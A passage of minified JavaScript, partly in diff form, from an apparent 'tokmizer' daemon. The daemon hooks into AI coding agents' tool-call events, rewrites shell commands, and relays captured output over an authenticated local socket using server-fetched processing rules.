zN={copilot:HN,droid:$r("droid","Execute",Cr),trae:$r("trae","RunCommand",Cr),"qwen-code":$r("qwen-code","run_shell_command",Cr),crush:$r("crush","bash",(e,t)=>JSON.stringify({updated_input:{command:t}})),junie:$r("junie","Bash",(e,t)=>JSON.stringify({updatedInput:{...e,command:t}})),zcode:$r("zcode","Bash",Cr),grok:BN};function rw(e,t,n=Ye(e),r=Re){return na(t)?zN[e](t,n,r):_t}function Or(e){return ke()?null:Ye(e)}function UN(e,t,n={}){let r=n.recordUsage??Re;switch(e){case"claude-code":case"codex":return t.hook_event_name!==void 0&&t.hook_event_name!=="PreToolUse"?"":Cb(t,e,Or(e),r,n.claudeDirs??Xi(),n.pathEnv??process.env.PATH,n.launchArgs??qo)??"";case"cursor":return Qb(t,Or(e),r);case"gemini-cli":return ew(t,Or(e),r);case"vibe":return tw(t,(o,s)=>Ar(o,"vibe",s,Or(e),r));case"antigravity":return nw(t,(o,s)=>Ar(o,"antigravity",s,Or(e),r));default:return rw(e,t,Or(e),r)}}function Rr(e,t,n={}){let r=al(e,t);return r?UN(r,e,n):n.fallback??""}To();var oa=class{constructor(t,n,r=()=>{}){this.limit=t;this.receive=n;this.reserve=r}limit;receive;reserve;header=Buffer.alloc(4);headerBytes=0;body=null;bodyBytes=0;closed=!1;push(t){if(this.closed)throw new Error("reader closed");let n=0;try{for(;n<t.length&&!this.closed;){if(!this.body){let o=Math.min(4-this.headerBytes,t.length-n);if(t.copy(this.header,this.headerBytes,n,n+o),this.headerBytes+=o,n+=o,this.headerBytes!==4)continue;let s=this.header.readUInt32BE(0);if(s>this.limit())throw new Error("frame limit exceeded");this.reserve(s),this.body=Buffer.allocUnsafe(s),this.bodyBytes=0}let r=Math.min(this.body.length-this.bodyBytes,t.length-n);if(t.copy(this.body,this.bodyBytes,n,n+r),this.bodyBytes+=r,n+=r,this.bodyBytes===this.body.length){let o=this.body;this.body=null,this.headerBytes=0,this.bodyBytes=0,this.receive(o)}}}catch(r){throw this.close(),r}}close(){this.closed=!0,this.body=null,this.headerBytes=0,this.bodyBytes=0}};function Ir(e){let t=Buffer.allocUnsafe(4);return t.writeUInt32BE(e.length),Buffer.concat([t,e])}function ow(e){if(e.length<16)throw new Error("incomplete captured header");let t=e.readUInt32BE(0),n=e.readUInt32BE(4),r=e.readUInt32BE(8),o=e.readUInt32BE(12);if(t>255||n>3||r>10485760||o>10485760||e.length!==16+r+o)throw new Error("invalid captured output");return{stdout:e.subarray(16,16+r).toString("utf8"),stderr:e.subarray(16+r).toString("utf8"),exitCode:t,truncated:(n&1)!==0,stderrTruncated:(n&2)!==0}}ve();var VN={"claude-code":"CLAUDECODE",codex:"CODEX_CLI",cursor:"CURSOR_VERSION",cline:"CLINE_VERSION",aider:"AIDER_VERSION","gemini-cli":"GEMINI_CLI_VERSION",windsurf:"WINDSURF_VERSION",copilot:"GITHUB_COPILOT_VERSION","qwen-code":"QWEN_CODE",crush:"CRUSH",droid:"",trae:"",junie:"",zcode:"",grok:"",kilo:"",shell:""},qN=k.object({protocol:k.literal(2),version:k.string().min(1).max(64),token:k.string().regex(/^[0-9a-f]{64}$/),home:k.string().min(1).max(4096),argv:k.array(k.string().max(32768).refine(e=>!e.includes("\0"))).min(1).max(4096),host:k.enum(Fl),sessionId:k.string().max(256).optional(),restoreDisabled:k.boolean(),restoreMaxBytes:k.number().int().positive().max(10485760).optional(),timeoutMs:k.number().int().positive().max(864e5)}).strict(),YN=k.object({kind:k.literal("pre-tool-use"),protocol:k.literal(2),version:k.string().min(1).max(64),token:k.string().regex(/^[0-9a-f]{64}$/),home:k.string().min(1).max(4096),host:k.enum(["claude-code","codex"]),payload:k.record(k.string(),k.unknown()),claudeProjectDir:k.string().min(1).max(4096).optional(),claudeConfigDir:k.string().min(1).max(4096).optional(),path:k.string().min(1).max(32768).optional(),claudePid:k.string().regex(/^[1-9]\d{0,9}$/).optional()}).strict(),XN=k.object({kind:k.literal("post-tool-use"),protocol:k.literal(2),version:k.string().min(1).max(64),token:k.string().regex(/^[0-9a-f]{64}$/),home:k.string().min(1).max(4096),host:k.enum(["claude-code"])}).strict();function Pr(e){if(!e)return!1;let t=Date.now()-e.signedAt;return t>=0&&t<=ys()}async function iw(e){if(!/^[0-9a-f]{64}$/.test(e.token))throw new Error("invalid processing authentication");let t=process.platform==="win32";if(t){if(!/^\\\\\.\\pipe\\tokmizer-[A-Za-z0-9._-]+$/.test(e.path))throw new Error("unsafe processing pipe")}else{let f=GN(KN(e.path));if(!f.isDirectory()||f.uid!==process.getuid?.()||(f.mode&63)!==0)throw new Error("unsafe processing directory")}let n=ZN(b()),r=Buffer.from(e.token,"hex"),o=new Set,s=new Set,i=0,a=!1,l=e.maxConnections??4,c=e.maxBufferedBytes??48*1024*1024,u=WN(f=>{if(a||o.size>=l){f.destroy();return}o.add(f);let d="prepare",m=null,g=!1,h=0,p=!1,w,S,x=()=>{i-=h,h=0},T=()=>{clearTimeout(S),I.close(),p||x(),d="closed",f.destroy()},A=H=>{clearTimeout(S),S=setTimeout(T,H),S.unref()},M=H=>{f.write(Ir(Buffer.from(JSON.stringify(H))))},I=new oa(()=>d==="prepare"?65536:d==="capture"||d==="hook-payload"?20971536:d==="delivery"?1:-1,H=>{if(d==="delivery"){if(H.length!==1||H[0]!==1)throw new Error("invalid delivery receipt");d="accounting",e.onActivity?.(),p=!0;let B=(w?.()??Promise.resolve()).then(()=>{f.destroyed||f.end(Ir(Buffer.from([1])))}).catch(()=>T()).finally(()=>{p=!1,f.destroyed&&(x(),o.delete(f)),s.delete(B)});s.add(B);return}if(d==="hook-payload"){let B=e.getRuntime();if(!Pr(B)){T();return}let V=JSON.parse(H.toString("utf8"));if(!V||typeof V!="object"||Array.isArray(V))throw new Error("invalid hook payload");e.onActivity?.(),d="processing",p=!0,A(e.processingTimeoutMs??5e3);let J=Xb(V,{inferCwd:!1,deferAccounting:Q=>{w=Q},resolver:async(Q,Ie)=>{if(!Pr(B))throw new Error("expired processing rules");return B.selectFor(Q,"pro",Ie?[...Ie]:void 0)}}).then(Q=>{if(f.destroyed)return;let Ie=Buffer.from(JSON.stringify({ok:!0,protocol:2,output:Q}));if(Ie.length>20971536)throw new Error("hook response limit");x(),d="delivery",A(e.processingTimeoutMs??5e3),f.write(Ir(Ie))}).catch(()=>T()).finally(()=>{p=!1,f.destroyed&&(x(),o.delete(f)),s.delete(J)});s.add(J);return}if(d==="prepare"){let B=JSON.parse(H.toString("utf8"));if(B?.kind==="post-tool-use"){let J=XN.parse(B);if(!Cu(r,Buffer.from(J.token,"hex"))||J.version!==e.version||J.home!==n||!Pr(e.getRuntime())){T();return}e.onActivity?.(),x(),d="hook-payload",A(e.prepareTimeoutMs??1e3),M({ok:!0,protocol:2});return}if(B?.kind==="pre-tool-use"){let J=YN.parse(B);if(!Cu(r,Buffer.from(J.token,"hex"))||J.version!==e.version||J.home!==n){T();return}e.onActivity?.();let Q,Ie=Rr(J.payload,J.host,{recordUsage:(Be,Nr)=>{Q={sessionId:Be,routed:Nr}},claudeDirs:{projectDir:J.claudeProjectDir,configDir:J.claudeConfigDir},pathEnv:J.path??"",launchArgs:()=>J.claudePid?qo({CLAUDE_PID:J.claudePid}):null}),N=Buffer.from(JSON.stringify({ok:!0,protocol:2,output:Ie}));if(N.length>1024*1024)throw new Error("hook response limit");w=async()=>{let Be=Q;Q=void 0,Be&&Re(Be.sessionId,Be.routed)},x(),d="delivery",A(e.processingTimeoutMs??5e3),f.write(Ir(N));return}let V=qN.parse(B);if(!Cu(r,Buffer.from(V.token,"hex"))||V.version!==e.version||V.home!==n||!Pr(e.getRuntime())){T();return}m=V,e.onActivity?.(),g=$e(),x(),d="capture",A(V.timeoutMs+5e3),M({ok:!0,protocol:2,yolo:g});return}if(d!=="capture"||!m)throw new Error("unexpected processing frame");let Y=ow(H);e.onActivity?.();let ge=e.getRuntime();if(!Pr(ge)){T();return}d="processing",p=!0,A(e.processingTimeoutMs??5e3);let te={},P=VN[m.host];P?te[P]="1":m.host!=="shell"&&(te.TOKMIZER_HOST=m.host),m.sessionId!==void 0&&(te.CLAUDE_CODE_SESSION_ID=m.sessionId),te.TOKMIZER_CCR_DISABLED=m.restoreDisabled?"1":"0",m.restoreMaxBytes!==void 0&&(te.TOKMIZER_CCR_ENTRY_MAX_BYTES=String(m.restoreMaxBytes));let G=Ki({...Y,argv:m.argv},{env:te,yolo:g,onMissingState:Zi,deferAccounting:B=>{w=B},resolver:async(B,V)=>{if(!Pr(ge))throw new Error("expired processing rules");return ge.selectFor(B,"pro",V?[...V]:void 0)}}).then(B=>{if(f.destroyed)return;let V=Buffer.from(B.stdout),J=Buffer.from(B.stderr);if(V.length>10551296||J.length>10551296)throw new Error("processing response limit");let Q=Buffer.allocUnsafe(8);Q.writeUInt32BE(V.length,0),Q.writeUInt32BE(J.length,4),d="delivery",A(e.processingTimeoutMs??5e3),f.write(Ir(Buffer.concat([Q,V,J])))}).catch(()=>T()).finally(()=>{p=!1,f.destroyed&&(x(),o.delete(f)),s.delete(G)});s.add(G)},H=>{if(i+H>c)throw new Error("processing capacity exceeded");i+=H,h+=H});A(e.prepareTimeoutMs??1e3),f.on("data",H=>{try{I.push(H)}catch{T()}}),f.on("error",T),f.on("close",()=>{p||o.delete(f),T()})});try{await new Promise((f,d)=>{u.once("error",d),u.listen(e.path,()=>{u.off("error",d),f()})}),t||JN(e.path,384)}catch(f){throw u.close(),f}return{activeConnections:()=>o.size,close:async()=>{a=!0;for(let f of o)f.destroy();await new Promise(f=>u.close(()=>f())),await Promise.allSettled(s)}}}function aM(e,t,n){return`\\\\.\\pipe\\tokmizer-p-${e.replace(/[^A-Za-z0-9._-]/g,"_").slice(0,64)||"user"}-${t.replace(/[^A-Za-z0-9._-]/g,"_")}-${n}`}async function lw(e,t,n="processing.json"){let r=process.platform==="win32",o=nM(b()),s=sa(o,"run");tM(s,{recursive:!0,mode:448});let i=eM(s);if(!i.isDirectory()||!r&&(i.uid!==process.getuid?.()||(i.mode&63)!==0))throw new Error("unsafe processing descriptor directory");let a=aw().slice(0,8),l=r?aM(process.env.USERNAME??"user",ye,a):sa(iM(ut().path),`p${a}`);if(!r&&Buffer.byteLength(l)>100)throw new Error("processing socket path too long");let c=QN(32).toString("hex"),u=await iw({path:l,token:c,version:ye,getRuntime:e,...t?{onActivity:t}:{}}),f=sa(s,`${n}.${aw()}.tmp`);try{return sM(f,JSON.stringify({protocol:2,version:ye,home:o,path:l,token:c}),{mode:384,flag:"wx"}),rM(f,sa(s,n)),u}catch(d){throw await u.close(),d}finally{oM(f,{force:!0})}}br();Je();var Xo=ln(),lM=360*60*1e3,cM=6e4;function uM(){let e=ay(Xo),t=()=>{e().catch(()=>{})};setTimeout(t,5e3).unref?.(),setInterval(t,cM).unref?.()}function fM(){let e=()=>{mr(Xo).catch(()=>{})};setTimeout(e,6e4+Math.floor(Math.random()*6e4)).unref?.(),setInterval(e,lM).unref?.()}function dM(){if(process.env.TOKMIZER_ALLOW_INSPECT==="1")return;let t=(process.execArgv??[]).find(n=>n.startsWith("--inspect")||n==="--inspect-brk"||n.startsWith("--inspect-port"));t&&(process.stderr.write("tkr-daemon: refusing to start with "+t+` (set TOKMIZER_ALLOW_INSPECT=1 to override for development).
202
208
  `),process.exit(2)),process.env.NODE_OPTIONS&&/--inspect/.test(process.env.NODE_OPTIONS)&&(process.stderr.write(`tkr-daemon: refusing to start with --inspect in NODE_OPTIONS.
203
- `),process.exit(2))}async function vN(){xN(),process.title="tkr-daemon";let e=Ef(()=>Ea(Xo)),t=async(f,d)=>{let p=await Zr();if(p)return process.stderr.write(`tkr-daemon: serving cached rules ${d}
204
- `),p;let g=hn();if(g)return process.stderr.write(`tkr-daemon: serving built-in rules ${d}
205
- `),g;throw f},n=async()=>{if(!ee())return t(new Jr,"because network is off");try{return await e()}catch(f){let d=await Sf(f,Xo,{heartbeat:pr,fetchBundle:Ea,log:p=>process.stderr.write(`tkr-daemon: ${p}
206
- `)});return d||t(f,"while the server is unreachable")}},r=3e4,o=null,s=null,i=()=>{if(s&&Date.now()-s.at<r)return s.p;let f=n().then(d=>(o=d,d));return s={p:f,at:Date.now()},f.catch(()=>{s?.p===f&&(s=null)}),f},a=null,l=null,c=!1,u=()=>{c||(c=!0,Promise.allSettled([l?.close(),a?.close()]).finally(()=>process.exit(0)))};a=await vf(null,{onWarming:i,isActive:()=>(l?.activeConnections()??0)>0,onShutdown:u});try{l=await Ub(()=>o,a.touch)}catch{process.stderr.write(`tkr-daemon: native processing unavailable
207
- `)}Zr().then(f=>{o||(o=f??hn())}).catch(()=>{}),(async()=>{try{let f=await V();f&&Uo(f.jwt,6e4)&&await pr(Xo)}catch{}try{await i()}catch{}})(),process.on("SIGINT",u),process.on("SIGTERM",u),SN(),_N()}vN().catch(e=>{process.stderr.write(`tkr-daemon: ${e.message}
209
+ `),process.exit(2))}async function mM(){dM(),process.title="tkr-daemon";let e=Af(()=>Ta(Xo)),t=async(f,d)=>{let m=await Kr();if(m)return process.stderr.write(`tkr-daemon: serving cached rules ${d}
210
+ `),m;let g=kn();if(g)return process.stderr.write(`tkr-daemon: serving built-in rules ${d}
211
+ `),g;throw f},n=async()=>{if(!ee())return t(new Gr,"because network is off");try{return await e()}catch(f){let d=await vf(f,Xo,{heartbeat:mr,fetchBundle:Ta,log:m=>process.stderr.write(`tkr-daemon: ${m}
212
+ `)});return d||t(f,"while the server is unreachable")}},r=3e4,o=null,s=null,i=()=>{if(s&&Date.now()-s.at<r)return s.p;let f=n().then(d=>(o=d,d));return s={p:f,at:Date.now()},f.catch(()=>{s?.p===f&&(s=null)}),f},a=null,l=null,c=!1,u=()=>{c||(c=!0,Promise.allSettled([l?.close(),a?.close()]).finally(()=>process.exit(0)))};a=await Rf(null,{onWarming:i,isActive:()=>(l?.activeConnections()??0)>0,onShutdown:u});try{l=await lw(()=>o,a.touch)}catch{process.stderr.write(`tkr-daemon: native processing unavailable
213
+ `)}Kr().then(f=>{o||(o=f??kn())}).catch(()=>{}),(async()=>{try{let f=await q();f&&Uo(f.jwt,6e4)&&await mr(Xo)}catch{}try{await i()}catch{}})(),process.on("SIGINT",u),process.on("SIGTERM",u),fM(),uM()}mM().catch(e=>{process.stderr.write(`tkr-daemon: ${e.message}
208
214
  `),process.exit(1)});
209
215
  /*! Bundled license information:
210
216